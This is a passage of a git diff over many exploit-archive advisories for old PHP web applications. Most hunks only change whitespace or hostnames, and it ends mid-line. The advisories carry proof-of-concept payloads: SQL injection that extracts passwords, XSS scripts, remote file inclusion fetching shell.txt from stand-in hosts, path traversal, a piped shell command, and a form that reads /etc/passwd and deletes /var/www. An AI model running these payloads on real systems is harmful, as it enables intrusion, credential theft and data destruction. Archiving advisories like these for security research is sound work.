http://www.example.com/path/index.php?Project_ID=[SQL INJECTION] http://www.example.com/path/index.php?Client_ID=[SQL INJECTION] http://www.example.com/path/index.php?Invoice_ID=[SQL INJECTION] -http://www.example.com/path/index.php?Vendor_ID=[SQL INJECTION] \ No newline at end of file +http://www.example.com/path/index.php?Vendor_ID=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/30223.txt b/platforms/php/webapps/30223.txt index a58c776d2..e11d1045d 100755 --- a/platforms/php/webapps/30223.txt +++ b/platforms/php/webapps/30223.txt @@ -7,4 +7,4 @@ A successful exploit may allow an attacker to steal cookie-based authentication NetClassifieds Free, Standard, Professional, and Premium editions are reported vulnerable. http://www.example.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/* -http://www.example.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/* \ No newline at end of file +http://www.example.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/* \ No newline at end of file diff --git a/platforms/php/webapps/30227.txt b/platforms/php/webapps/30227.txt index c37997d70..32d5f71c8 100755 --- a/platforms/php/webapps/30227.txt +++ b/platforms/php/webapps/30227.txt @@ -4,4 +4,4 @@ The 'mod_forum' component for Joomla and Mambo is prone to a remote file-include An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system. -http://www.example.com/components/com_forum/download.php?phpbb_root_path=[Shell] \ No newline at end of file +http://www.example.com/components/com_forum/download.php?phpbb_root_path=[Shell] \ No newline at end of file diff --git a/platforms/php/webapps/30230.txt b/platforms/php/webapps/30230.txt index 539f410bc..402f02e75 100755 --- a/platforms/php/webapps/30230.txt +++ b/platforms/php/webapps/30230.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue affects MyNews 0.10; other versions may also be vulnerable. -To exploit this issue, modify the following cookie variable: authacc = "' OR `row_id`=1 UNION SELECT * FROM `sessions` WHERE '1%3A1%3A1%3A1%3AAdmin" \ No newline at end of file +To exploit this issue, modify the following cookie variable: authacc = "' OR `row_id`=1 UNION SELECT * FROM `sessions` WHERE '1%3A1%3A1%3A1%3AAdmin" \ No newline at end of file diff --git a/platforms/php/webapps/30232.txt b/platforms/php/webapps/30232.txt index 76de63734..740707604 100755 --- a/platforms/php/webapps/30232.txt +++ b/platforms/php/webapps/30232.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Calendrix 0.7 is vulnerable; other versions may also be affected. -http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/cal_footer.inc.php?leftfooter=<script>alert(document.cookies)</script> \ No newline at end of file +http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/cal_footer.inc.php?leftfooter=<script>alert(document.cookies)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30234.txt b/platforms/php/webapps/30234.txt index 0de7215bd..0ce233506 100755 --- a/platforms/php/webapps/30234.txt +++ b/platforms/php/webapps/30234.txt @@ -8,4 +8,4 @@ These issues affect Calendarix 0.7.20070307; other versions may also be affected http://www.example.com/calendar.php?month=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23 -http://www.example.com/calendar.php?month=&year=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23 \ No newline at end of file +http://www.example.com/calendar.php?month=&year=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23 \ No newline at end of file diff --git a/platforms/php/webapps/30249.txt b/platforms/php/webapps/30249.txt index 3db679b05..d3a40e577 100755 --- a/platforms/php/webapps/30249.txt +++ b/platforms/php/webapps/30249.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain access to administration plugins. Thi This issue affects Papoo 3.6; prior versions may also be affected. -http://www.example.com/interna/plugin.php?template=devtools/templates/newdump_backend.html \ No newline at end of file +http://www.example.com/interna/plugin.php?template=devtools/templates/newdump_backend.html \ No newline at end of file diff --git a/platforms/php/webapps/30258.txt b/platforms/php/webapps/30258.txt index 7855fe7af..a9061f638 100755 --- a/platforms/php/webapps/30258.txt +++ b/platforms/php/webapps/30258.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to LightBlog 6 are vulnerable. -http://www.example.com/app_path/add_comment.php?id=[XSS] \ No newline at end of file +http://www.example.com/app_path/add_comment.php?id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30259.txt b/platforms/php/webapps/30259.txt index 27df8466c..78897bf09 100755 --- a/platforms/php/webapps/30259.txt +++ b/platforms/php/webapps/30259.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to Claroline 1.8.4 are vulnerable. -http://www.example.com/index.php?[XSS] \ No newline at end of file +http://www.example.com/index.php?[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30261.txt b/platforms/php/webapps/30261.txt index ee21c7d1c..edec42bc4 100755 --- a/platforms/php/webapps/30261.txt +++ b/platforms/php/webapps/30261.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script This issue affects Moodle 1.7.1; other versions may also be vulnerable. -http://www.example.com/user/index.php?contextid=4&roleid=0&id=2&group=&perpage=20&search=%22style=xss:expression(alert(document.cookie))%20 \ No newline at end of file +http://www.example.com/user/index.php?contextid=4&roleid=0&id=2&group=&perpage=20&search=%22style=xss:expression(alert(document.cookie))%20 \ No newline at end of file diff --git a/platforms/php/webapps/30262.txt b/platforms/php/webapps/30262.txt index 009a3bc7c..c6d752cfd 100755 --- a/platforms/php/webapps/30262.txt +++ b/platforms/php/webapps/30262.txt @@ -4,4 +4,4 @@ Liesbeth Base CMS is prone to an information-disclosure vulnerability. Exploiting this issue may allow an attacker to access sensitive information that may aid in further attacks. -http://www.example.com/config.inc \ No newline at end of file +http://www.example.com/config.inc \ No newline at end of file diff --git a/platforms/php/webapps/30277.txt b/platforms/php/webapps/30277.txt index 4332468bc..550c9eb35 100755 --- a/platforms/php/webapps/30277.txt +++ b/platforms/php/webapps/30277.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an unauthorized user to view files and execute These issues affects Maia Mailguard 1.0.2 and prior versions. -http://www.example.com/maia/login.php?lang=../../../../../../../../../../../../../var/log/httpd-error.log%00.txt \ No newline at end of file +http://www.example.com/maia/login.php?lang=../../../../../../../../../../../../../var/log/httpd-error.log%00.txt \ No newline at end of file diff --git a/platforms/php/webapps/30283.txt b/platforms/php/webapps/30283.txt index 28127f08f..20eb312e5 100755 --- a/platforms/php/webapps/30283.txt +++ b/platforms/php/webapps/30283.txt @@ -18,4 +18,4 @@ Cookie: Authentication Data for SquirrelMail Content-Type: application/x-www-form-urlencoded Content-Length: 140 -id=C5B1611B8E71C***&fpr= | touch /tmp/w00t | &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1 \ No newline at end of file +id=C5B1611B8E71C***&fpr= | touch /tmp/w00t | &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1 \ No newline at end of file diff --git a/platforms/php/webapps/30290.txt b/platforms/php/webapps/30290.txt index 524453157..7c28b3a1d 100755 --- a/platforms/php/webapps/30290.txt +++ b/platforms/php/webapps/30290.txt @@ -16,4 +16,4 @@ The following proof-of-concept URIs are available: http://www.example.com/index.php?title=http://www.example2.com/C99.php?archive.php -https://www.example.com/main.php?page=https://www.example2.com \ No newline at end of file +https://www.example.com/main.php?page=https://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/30293.txt b/platforms/php/webapps/30293.txt index f0d5b5f1b..3774fe05e 100755 --- a/platforms/php/webapps/30293.txt +++ b/platforms/php/webapps/30293.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Helma 1.5.3 is vulnerable; other versions may also be affected. -http://www.example.com/search/?q=[XSS] \ No newline at end of file +http://www.example.com/search/?q=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30294.txt b/platforms/php/webapps/30294.txt index fdea054f5..9b516b826 100755 --- a/platforms/php/webapps/30294.txt +++ b/platforms/php/webapps/30294.txt @@ -9,4 +9,4 @@ Inmostore 4.0 is vulnerable to this issue. http://www.example.com/admin/index.php Username: admin -Password: 'or''=' \ No newline at end of file +Password: 'or''=' \ No newline at end of file diff --git a/platforms/php/webapps/30299.txt b/platforms/php/webapps/30299.txt index 95237ed38..fa7095386 100755 --- a/platforms/php/webapps/30299.txt +++ b/platforms/php/webapps/30299.txt @@ -4,4 +4,4 @@ activeWeb contentserver is prone to a client-side input-validation vulnerability An attacker can exploit these input-validation vulnerabilities to perform various attacks (e.g. cross-site scripting, SQL injection, etc.). -http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file +http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/30303.txt b/platforms/php/webapps/30303.txt index 14f2661f5..dfe9d566a 100755 --- a/platforms/php/webapps/30303.txt +++ b/platforms/php/webapps/30303.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute an arbitrary remote file contai AzDG Dating Gold 3.0.5 is vulnerable; other versions may also be affected. -http://www.example.com/scriptpath/templates/secure.admin.php?int_path=http://www.example2.com/shell.txt?cmd \ No newline at end of file +http://www.example.com/scriptpath/templates/secure.admin.php?int_path=http://www.example2.com/shell.txt?cmd \ No newline at end of file diff --git a/platforms/php/webapps/30312.txt b/platforms/php/webapps/30312.txt index 3bac24fa3..71be88e02 100755 --- a/platforms/php/webapps/30312.txt +++ b/platforms/php/webapps/30312.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to execute HTML and script code in Versions prior to WebCit 7.11 are vulnerable. -http://www.example.com/showuser?who=[xss] \ No newline at end of file +http://www.example.com/showuser?who=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/3036.php b/platforms/php/webapps/3036.php index 40ce867d8..afffc7ec9 100755 --- a/platforms/php/webapps/3036.php +++ b/platforms/php/webapps/3036.php @@ -93,14 +93,14 @@ $email="kacper1964@yahoo.pl"; you can edit Name :) in profil -";?><?include('http://www.server/shell.txt');?><?php echo "Kacper :) +";?><?include('http://www.site.com/shell.txt');?><?php echo "Kacper :) expl: <?php $poziom="1"; $pass="37fdd249c9e42fc94f45f2s300afe233"; -$imie="";?><?include('http://www.server/shell.txt');?><?php echo "Kacper :)"; //<-----------{2} +$imie="";?><?include('http://www.site.com/shell.txt');?><?php echo "Kacper :)"; //<-----------{2} $email="kacper1964@yahoo.pl"; ?> diff --git a/platforms/php/webapps/30367.txt b/platforms/php/webapps/30367.txt index 5ac193ba7..1f9a87b33 100755 --- a/platforms/php/webapps/30367.txt +++ b/platforms/php/webapps/30367.txt @@ -5,4 +5,4 @@ SMS Text Messaging Enterprise is prone to multiple cross-site scripting vulnerab An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. http://www.example.com/admin/membersearch.php?pagina=17&q=la&domain=Walltrapas.es%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E -http://www.example.com/admin/membersearch.php?q=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&B1=Submit \ No newline at end of file +http://www.example.com/admin/membersearch.php?q=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&B1=Submit \ No newline at end of file diff --git a/platforms/php/webapps/30368.txt b/platforms/php/webapps/30368.txt index a15e3eb39..ccf933131 100755 --- a/platforms/php/webapps/30368.txt +++ b/platforms/php/webapps/30368.txt @@ -4,4 +4,4 @@ SMS Text Messaging Enterprise is prone to multiple cross-site scripting vulnerab An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/admin/edituser.php?userid=Walltrapas"><script>alert()</script> \ No newline at end of file +http://www.example.com/admin/edituser.php?userid=Walltrapas"><script>alert()</script> \ No newline at end of file diff --git a/platforms/php/webapps/30380.txt b/platforms/php/webapps/30380.txt index 75a86b61e..16c0e876f 100755 --- a/platforms/php/webapps/30380.txt +++ b/platforms/php/webapps/30380.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow cPanel 10.9.1 is vulnerable to this issue. -http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password \ No newline at end of file +http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password \ No newline at end of file diff --git a/platforms/php/webapps/30385.txt b/platforms/php/webapps/30385.txt index c2e051b2e..4fffc7187 100755 --- a/platforms/php/webapps/30385.txt +++ b/platforms/php/webapps/30385.txt @@ -14,4 +14,4 @@ http://www.example.com/viking/post.php?mode=03&t=2[XSS-CODE]"e=2 http://www.example.com/viking/post.php?mode=00&f=1&poll=0[XSS-CODE] -http://www.example.com/viking/post.php?mode=02&p=2[XSS-CODE] \ No newline at end of file +http://www.example.com/viking/post.php?mode=02&p=2[XSS-CODE] \ No newline at end of file diff --git a/platforms/php/webapps/30388.txt b/platforms/php/webapps/30388.txt index a26c69e40..f708819bc 100755 --- a/platforms/php/webapps/30388.txt +++ b/platforms/php/webapps/30388.txt @@ -4,4 +4,4 @@ Vikingboard is prone to multiple information-disclosure weaknesses because attac Vikingboard 0.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/viking/cp.php?mode=10&debug=1 \ No newline at end of file +http://www.example.com/viking/cp.php?mode=10&debug=1 \ No newline at end of file diff --git a/platforms/php/webapps/30389.txt b/platforms/php/webapps/30389.txt index 55519596e..3c2553edf 100755 --- a/platforms/php/webapps/30389.txt +++ b/platforms/php/webapps/30389.txt @@ -8,4 +8,4 @@ This issue affects iFoto 1.0; other versions may also be affected. http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc http://www.example.com/ifoto/?dir=../../../../../../etc -http://www.example.com/ifoto/index.php?dir=../../../../../../ \ No newline at end of file +http://www.example.com/ifoto/index.php?dir=../../../../../../ \ No newline at end of file diff --git a/platforms/php/webapps/30390.txt b/platforms/php/webapps/30390.txt index 066857e24..921e494c8 100755 --- a/platforms/php/webapps/30390.txt +++ b/platforms/php/webapps/30390.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Dependent Forums 1.02 is vulnerable; other versions may also be affected. -' union select * from members where member=1 \ No newline at end of file +' union select * from members where member=1 \ No newline at end of file diff --git a/platforms/php/webapps/30391.txt b/platforms/php/webapps/30391.txt index b285f3031..1085b9ee9 100755 --- a/platforms/php/webapps/30391.txt +++ b/platforms/php/webapps/30391.txt @@ -4,4 +4,4 @@ PhpHostBot is prone to a remote file-include vulnerability because it fails to s Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/library/authorize.php?login_form=http://evilcode? \ No newline at end of file +http://www.example.com/library/authorize.php?login_form=http://evilcode? \ No newline at end of file diff --git a/platforms/php/webapps/30403.txt b/platforms/php/webapps/30403.txt index 73f2d8b87..0521fa547 100755 --- a/platforms/php/webapps/30403.txt +++ b/platforms/php/webapps/30403.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to execute HTML and script code in t This issue affects versions prior to WP-FeedStats 2.4. -http://www.example.com/_wp1/?feed=rss2&<script>alert(1)</script> \ No newline at end of file +http://www.example.com/_wp1/?feed=rss2&<script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30405.txt b/platforms/php/webapps/30405.txt index b32f5052a..e083d3594 100755 --- a/platforms/php/webapps/30405.txt +++ b/platforms/php/webapps/30405.txt @@ -7,4 +7,4 @@ A successful exploit may allow an attacker to steal cookie-based authentication This issue affects Bandersnatch 0.4; other versions may also be affected. http://www.example.com/index.php?date=[SQL] -http://www.example.com/index.php?limit=[SQL] \ No newline at end of file +http://www.example.com/index.php?limit=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/30429.txt b/platforms/php/webapps/30429.txt index 303c08bcd..7dad49d74 100755 --- a/platforms/php/webapps/30429.txt +++ b/platforms/php/webapps/30429.txt @@ -8,4 +8,4 @@ The following URI demonstrates this issue: http://www.example.com/path/user.php?REQ=auth&billing=141&status=success&custom=upgrade5 -The '141' and the 'upgrade5' values may vary from installation to installation. \ No newline at end of file +The '141' and the 'upgrade5' values may vary from installation to installation. \ No newline at end of file diff --git a/platforms/php/webapps/3043.txt b/platforms/php/webapps/3043.txt index 54abf6ddc..3f19779d9 100755 --- a/platforms/php/webapps/3043.txt +++ b/platforms/php/webapps/3043.txt @@ -1,4 +1,4 @@ -x-news 1.1 Password Disclosure Vulnerability + x-news 1.1 Password Disclosure Vulnerability Affected Software: x-news 1.1 diff --git a/platforms/php/webapps/30435.txt b/platforms/php/webapps/30435.txt index 8a6ec3d47..862f384ae 100755 --- a/platforms/php/webapps/30435.txt +++ b/platforms/php/webapps/30435.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br IT!CMS 0.2 is vulnerable to these issues; other versions may also be affected. -http://www.example.com/titletext-ed.php?wndtitle=[Xss-script] \ No newline at end of file +http://www.example.com/titletext-ed.php?wndtitle=[Xss-script] \ No newline at end of file diff --git a/platforms/php/webapps/30438.txt b/platforms/php/webapps/30438.txt index d7a17b48c..68cc295ac 100755 --- a/platforms/php/webapps/30438.txt +++ b/platforms/php/webapps/30438.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to include an arbitrary remote file contain Aplomb Poll 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php?Madoa=http://shell.txt? \ No newline at end of file +http://www.example.com/admin.php?Madoa=http://shell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/3044.txt b/platforms/php/webapps/3044.txt index ece41ac98..3cc0b4a3c 100755 --- a/platforms/php/webapps/3044.txt +++ b/platforms/php/webapps/3044.txt @@ -1,4 +1,4 @@ -Voodoo chat 1.0RC1b Password Disclosure Vulnerability + Voodoo chat 1.0RC1b Password Disclosure Vulnerability diff --git a/platforms/php/webapps/30442.txt b/platforms/php/webapps/30442.txt index 41b6f8ded..b31a21d2d 100755 --- a/platforms/php/webapps/30442.txt +++ b/platforms/php/webapps/30442.txt @@ -4,4 +4,4 @@ WebDirector is prone to a cross-site scripting vulnerability because it fails to Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?deslocal=[xss] \ No newline at end of file +http://www.example.com/index.php?deslocal=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30443.txt b/platforms/php/webapps/30443.txt index e0d4b1cf3..40d7d4fec 100755 --- a/platforms/php/webapps/30443.txt +++ b/platforms/php/webapps/30443.txt @@ -1,4 +1,4 @@ -Exploit Title: Persuasion Wordpress Theme - Arbitrary File Download and File Deletion Exploit + Exploit Title: Persuasion Wordpress Theme - Arbitrary File Download and File Deletion Exploit Date: 19 December 2013 Exploit Author: Interference Security Vendor Homepage: http://mysitemyway.com/ @@ -6,7 +6,7 @@ Exploit Title: Persuasion Wordpress Theme - Arbitrary File Download and File Del Version: Tested on 2.0 and 2.3 Details: -The vulnerable file is located at http://vulnerable-server/wp-content/themes/persuasion/lib/scripts/dl-skin.php +The vulnerable file is located at http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php In exploit code, file name in first text box should be readable on the vulnerable server, then the vulnerable code allows it to be downloaded from the server. And the second textbox accepts a directory path. If it is writeable then vulnerable code will delete its contents. An attacker can download readable files from the server and also can delete contents of writeable directories. @@ -51,7 +51,7 @@ function rrmdir($dir) { Exploit Code: <html> <body> -<form action="http://vulnerable-server/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post"> +<form action="http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post"> Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br> Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br> <input type="submit"> diff --git a/platforms/php/webapps/30445.txt b/platforms/php/webapps/30445.txt index 332578393..7663ebf28 100755 --- a/platforms/php/webapps/30445.txt +++ b/platforms/php/webapps/30445.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects Tour de France Pool 1.0.1; other versions may also be vulnerable. -http://www.example.com/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path= \ No newline at end of file +http://www.example.com/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path= \ No newline at end of file diff --git a/platforms/php/webapps/30450.txt b/platforms/php/webapps/30450.txt index 902c90e28..5284cd588 100755 --- a/platforms/php/webapps/30450.txt +++ b/platforms/php/webapps/30450.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a LANAI CMS 1.2.14 is vulnerable; other versions may also be affected. -http://www.example.com/module.php?modname=gallery&mf=view&gid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,userLogin,userPassword,4/**/FROM/**/tbl_ln_user/* \ No newline at end of file +http://www.example.com/module.php?modname=gallery&mf=view&gid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,userLogin,userPassword,4/**/FROM/**/tbl_ln_user/* \ No newline at end of file diff --git a/platforms/php/webapps/30452.txt b/platforms/php/webapps/30452.txt index 62189c217..ec364bdf6 100755 --- a/platforms/php/webapps/30452.txt +++ b/platforms/php/webapps/30452.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects J! Reactions 1.8.1; other versions may also be vulnerable. -http://www.example.com/administrator/components/com_jreactions/langset.php?comPath=Evil? \ No newline at end of file +http://www.example.com/administrator/components/com_jreactions/langset.php?comPath=Evil? \ No newline at end of file diff --git a/platforms/php/webapps/30453.txt b/platforms/php/webapps/30453.txt index 46cb43cf7..c254faa02 100755 --- a/platforms/php/webapps/30453.txt +++ b/platforms/php/webapps/30453.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect snif 1.5.2; other versions may also be affected. http://www.example.com/index.php?path=[xss] -http://www.example.com/index.php?download=[xss] \ No newline at end of file +http://www.example.com/index.php?download=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30456.txt b/platforms/php/webapps/30456.txt index 1c7e44bf1..88ca9fa0c 100755 --- a/platforms/php/webapps/30456.txt +++ b/platforms/php/webapps/30456.txt @@ -4,4 +4,4 @@ VietPHP is prone to multiple remote file-include vulnerabilities because it fail Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/_functions.php?dirpath=Sh3LL \ No newline at end of file +http://www.example.com/_functions.php?dirpath=Sh3LL \ No newline at end of file diff --git a/platforms/php/webapps/30463.txt b/platforms/php/webapps/30463.txt index 74a2b67b8..2cf53e98f 100755 --- a/platforms/php/webapps/30463.txt +++ b/platforms/php/webapps/30463.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Coppermine 1.3.1 is vulnerable; other versions may also be affected. -http://www.example.com/path/bridge/yabbse.inc.php?sourcedir=[Sh3LL] \ No newline at end of file +http://www.example.com/path/bridge/yabbse.inc.php?sourcedir=[Sh3LL] \ No newline at end of file diff --git a/platforms/php/webapps/30465.txt b/platforms/php/webapps/30465.txt index 51299dbe0..47e35fef8 100755 --- a/platforms/php/webapps/30465.txt +++ b/platforms/php/webapps/30465.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin Gastebuch 1.5 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id \ No newline at end of file +http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/30467.txt b/platforms/php/webapps/30467.txt index 254f42f0f..199ac2baf 100755 --- a/platforms/php/webapps/30467.txt +++ b/platforms/php/webapps/30467.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and File Uploader 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/datei.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id \ No newline at end of file +http://www.example.com/datei.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/3047.txt b/platforms/php/webapps/3047.txt index 119606f0e..3fa034afe 100755 --- a/platforms/php/webapps/3047.txt +++ b/platforms/php/webapps/3047.txt @@ -1,4 +1,4 @@ -fswiki 3.6.2 (user.dat) Password Disclosure Vulnerability + fswiki 3.6.2 (user.dat) Password Disclosure Vulnerability diff --git a/platforms/php/webapps/30480.txt b/platforms/php/webapps/30480.txt index b64b561e0..4020e2173 100755 --- a/platforms/php/webapps/30480.txt +++ b/platforms/php/webapps/30480.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Bilder Galerie 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?config[root_ordner]=http://www.example2.com?cmd=id \ No newline at end of file +http://www.example.com/index.php?config[root_ordner]=http://www.example2.com?cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/30482.txt b/platforms/php/webapps/30482.txt index 30d03fe22..9d7ae3a00 100755 --- a/platforms/php/webapps/30482.txt +++ b/platforms/php/webapps/30482.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and WebNews 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/feed.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id \ No newline at end of file +http://www.example.com/feed.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/30486.txt b/platforms/php/webapps/30486.txt index c6f758f00..31104162b 100755 --- a/platforms/php/webapps/30486.txt +++ b/platforms/php/webapps/30486.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Lib2 PHP Library 0.2 is vulnerable; other versions may also be affected. -http://www.example.com/adm/my_statistics.php?DOCUMENT_ROOT=http://www.example2.com/? \ No newline at end of file +http://www.example.com/adm/my_statistics.php?DOCUMENT_ROOT=http://www.example2.com/? \ No newline at end of file diff --git a/platforms/php/webapps/30487.txt b/platforms/php/webapps/30487.txt index d76e454f2..40d95085c 100755 --- a/platforms/php/webapps/30487.txt +++ b/platforms/php/webapps/30487.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Php-Stats 0.1.9.2 is vulnerable; other versions may also be affected. -http://www.example.com/php-stats-path/whois.php?IP=[XSS] \ No newline at end of file +http://www.example.com/php-stats-path/whois.php?IP=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30489.txt b/platforms/php/webapps/30489.txt index efa66a71e..e43754af1 100755 --- a/platforms/php/webapps/30489.txt +++ b/platforms/php/webapps/30489.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Openads 2.0.11 and prior versions are vulnerable. -http://www.example.com/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=EviL ShEll \ No newline at end of file +http://www.example.com/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=EviL ShEll \ No newline at end of file diff --git a/platforms/php/webapps/3049.php b/platforms/php/webapps/3049.php index fc2475ae6..80560de16 100755 --- a/platforms/php/webapps/3049.php +++ b/platforms/php/webapps/3049.php @@ -138,7 +138,7 @@ echo "$nazwa1$nazwa2";//po³±czenie daty z nazw± pliku to find you uploaded file go to: -http://server/IMGallery path/obrazy/(youfile) +http://site.com/IMGallery path/obrazy/(youfile) greetz ;) */ diff --git a/platforms/php/webapps/30492.txt b/platforms/php/webapps/30492.txt index b3542a2eb..1a255b882 100755 --- a/platforms/php/webapps/30492.txt +++ b/platforms/php/webapps/30492.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce http://www.example.com/index.php?mode=showbyID&jobid=99786'%20union%20all%20select%20something%20from%20something/* http://www.example.com/index.php?mode=showbyID&jobid=99786'%20or%201=1/* -http://www.example.com/index.php?mode=showbyID&jobid=99786'%20order%20by%2016/* \ No newline at end of file +http://www.example.com/index.php?mode=showbyID&jobid=99786'%20order%20by%2016/* \ No newline at end of file diff --git a/platforms/php/webapps/30504.txt b/platforms/php/webapps/30504.txt index 62bb13f49..6453a8160 100755 --- a/platforms/php/webapps/30504.txt +++ b/platforms/php/webapps/30504.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain administrative access to the affected Versions prior to Olate Download 3.4.2 are vulnerable. -OD3_AutoLogin=17225df9b911486c1ccae0378094c33a::a:3:{i:0;i:2;i:1;s:4:\"imei\";i:2;i:2;} \ No newline at end of file +OD3_AutoLogin=17225df9b911486c1ccae0378094c33a::a:3:{i:0;i:2;i:1;s:4:\"imei\";i:2;i:2;} \ No newline at end of file diff --git a/platforms/php/webapps/30509.txt 